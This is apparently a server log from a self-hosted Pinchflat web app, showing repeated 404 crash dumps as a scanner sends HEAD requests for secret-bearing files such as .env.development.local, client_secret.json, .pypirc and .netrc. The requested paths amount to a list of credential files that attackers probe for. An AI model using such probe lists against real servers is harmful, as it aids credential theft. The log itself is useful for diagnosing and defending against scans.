owner: #PID<0.3643.0>, params: %{}, path_info: [".vscode", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.vscode/settings.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBXfOqULU56wAAU_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3643.0>, params: %{}, path_info: [".vscode", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_heade (truncated) 02:30:32.251 [error] #PID<0.3640.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 12) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.development.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3640.0>, params: %{}, path_info: [".env.development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.development.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBXe_AprtEFwAAU9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3640.0>, params: %{}, path_info: [".env.development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"} (truncated) 02:30:32.271 [info] HEAD /client_secret.json 02:30:32.272 [debug] QUERY OK source="settings" db=0.3ms idle=22.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.272 [debug] QUERY OK source="settings" db=0.1ms idle=22.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.272 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:32.272 [error] #PID<0.3644.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /client_secret.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client_secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3644.0>, params: %{}, path_info: ["client_secret"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/client_secret.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBXklrGPlwQkAAVAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client_secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client_secret.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method (truncated) 02:30:32.274 [info] HEAD /.pypirc 02:30:32.274 [debug] QUERY OK source="settings" db=0.2ms idle=24.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.274 [debug] QUERY OK source="settings" db=0.1ms idle=24.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.274 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:32.275 [error] #PID<0.3645.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.pypirc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3645.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.pypirc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBXlPN63nPy4AAVBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", (truncated) 02:30:32.278 [info] HEAD /.netrc 02:30:32.279 [debug] QUERY OK source="settings" db=0.3ms idle=28.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.279 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.279 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:32.279 [error] #PID<0.3646.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.netrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; 